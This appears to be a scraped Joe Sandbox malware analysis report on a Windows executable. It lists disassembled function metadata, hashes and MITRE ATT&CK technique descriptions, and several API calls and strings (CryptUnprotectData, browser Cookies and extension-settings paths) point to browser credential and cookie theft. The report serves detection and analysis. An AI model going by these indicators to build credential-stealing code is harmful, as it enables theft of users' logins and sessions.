Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: a55bc0ca7da8e524c00091b054f3d898e6a02602733bdbf1d26a7a122f96e6ea
Instruction ID: 9a78a9f3b85993ea02f9118f38284c4e2b25b94170aa3588c14721dabf036fee
Opcode Fuzzy Hash: a55bc0ca7da8e524c00091b054f3d898e6a02602733bdbf1d26a7a122f96e6ea
Instruction Fuzzy Hash: 3C119E29900219F6CF24DF95D441BBC77B2BF14700F6040A9F9062BAC1E7B95F80E391

Non-executed Functions

Function 00191610 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 67nativeCOMMON

Download Yara Rule

APIs

NtQueryObject.NTDLL(00191593,00000001,?,00000000,00000000), ref: 0019166E
NtQueryObject.NTDLL(00191593,00000001,?,00000000,00000000), ref: 00191689

Strings

\Local Extensions Settings\, xrefs: 0019169E
p+v, xrefs: 0019166E, 00191689
\Network\Cookies, xrefs: 001916B6

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID: ObjectQuery
String ID: \Local Extensions Settings\$\Network\Cookies$p+v
API String ID: 2748340528-202866110
Opcode ID: 50c592662f3036eb374851aa07ebb2fa2805ede2717617f7b4ad5a651320eed7
Instruction ID: 1a08084465bac05f3331b88fac072363742a66977fbe82e770a061584c280d2b
Opcode Fuzzy Hash: 50c592662f3036eb374851aa07ebb2fa2805ede2717617f7b4ad5a651320eed7
Instruction Fuzzy Hash: D1216379E00208BBDF10CB90DD41FD97779AB58705F548099F948D7281EBB1EAD8CB91

Function 00191C40 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22encryptiontimeCOMMON

Download Yara Rule

APIs

CryptSignHashA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,?,001916EB,?,00191CA8,?,00191D86,?), ref: 00191C53
CryptUpdateProtectedState.CRYPT32(00000000,00000000,00000000,00000000,00000000,?,001916EB,?,00191CA8,?,00191D86,?), ref: 00191C63
WinHttpTimeFromSystemTime.WINHTTP(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,001916EB,?,00191CA8,?,00191D86,?), ref: 00191C6C

Strings

`Iu, xrefs: 00191C53

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID: CryptTime$FromHashHttpProtectedSignStateSystemUpdate
String ID: `Iu
API String ID: 3068283267-3215586153
Opcode ID: 775aad5bbc8eca80822b0fc36427796b78e3d2fdf87cb1561f065e1774464a13
Instruction ID: 351ecb0cf9b73c5d30084531fc82c9a53ad0f58a1d5480fcadb98642abd4e052
Opcode Fuzzy Hash: 775aad5bbc8eca80822b0fc36427796b78e3d2fdf87cb1561f065e1774464a13
Instruction Fuzzy Hash: 8FC04C312D830566EA502BF46D0BB1936586B14B07F984015F30E984D19ED1545485A7

Function 00191000 Relevance: 1.5, APIs: 1, Instructions: 33encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(00000040,00000000,00000000,00000000,00000000,00000000,?), ref: 00191033

Part of subcall function 001932A0: LocalFree.KERNEL32(?), ref: 001933BA

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID: CryptDataFreeLocalUnprotect
String ID:
API String ID: 1561624719-0
Opcode ID: cc56e62f8c78ec25d386d516eb41bffacf2178dfc6c36e8edc4255b9efcd7a7d
Instruction ID: d8bdf9aaaa2421de512c6d2e03aa591f4b7f0b06f77d3573cf14e61244caa063
Opcode Fuzzy Hash: cc56e62f8c78ec25d386d516eb41bffacf2178dfc6c36e8edc4255b9efcd7a7d
Instruction Fuzzy Hash: 73F01C7690010CAFDB04DFA8D885EFE77BCEB44310F08856AF9198B281EB31D694CB90

Function 00198A80 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c43602ed676e7627ec8738c8a54b05c9f01cfc2936e14476b38f24f0838f3492
Instruction ID: 1787d30de3904c41c03c513e381a269e709bddba6d36213cde7ad63265d9666a
Opcode Fuzzy Hash: c43602ed676e7627ec8738c8a54b05c9f01cfc2936e14476b38f24f0838f3492
Instruction Fuzzy Hash: 26312CB1D00209EFDF14CF98D841BAEBBB4EF15314F24C46DEA4AE7241D734AA809B95

Function 00191A20 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3585cc5e86e4b4f2c0b231822883ac188ad7ac996d5f3a190238e1ab2981f7b1
Instruction ID: 3aed54436f5767a83b01f55326dea564c088d466d319321e9a1229c6b183aa19
Opcode Fuzzy Hash: 3585cc5e86e4b4f2c0b231822883ac188ad7ac996d5f3a190238e1ab2981f7b1
Instruction Fuzzy Hash: DCC04C7595664CEBC711CB89D541A59B7FCE709650F100195EC0893700D5356E109595

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report V6ZsDcgx4N.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_V6ZsDcgx4N.exe_2836333e52f8f518a87ecc2c9877552cc5af_48805dd8_da3f3940-4326-40c4-bebc-099506015ec4\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAE68.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAFC1.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAFE1.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Windows Analysis Report
V6ZsDcgx4N.exe

Function 00191470 Relevance: 15.1, APIs: 10, Instructions: 137
nativeCOMMON

Function 00198D40 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 126
fileCOMMON

Function 001917E0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180
COMMON

Function 00192810 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 90
COMMON

Function 00191D30 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 85
sleepsynchronizationCOMMON

Function 00192E60 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 165
sleepCOMMON

Function 00193EF0 Relevance: 3.8, APIs: 3, Instructions: 35
memoryCOMMON

Function 00192BD0 Relevance: 3.1, APIs: 2, Instructions: 140
COMMON

Function 00198CC0 Relevance: 3.0, APIs: 2, Instructions: 20
COMMON

Function 00198C70 Relevance: 3.0, APIs: 2, Instructions: 12
COMMON

Function 00191110 Relevance: 1.6, APIs: 1, Instructions: 147
fileCOMMON

Function 00191060 Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Function 001912F0 Relevance: 1.5, APIs: 1, Instructions: 43
COMMON

Function 00198B90 Relevance: 1.5, APIs: 1, Instructions: 38
COMMON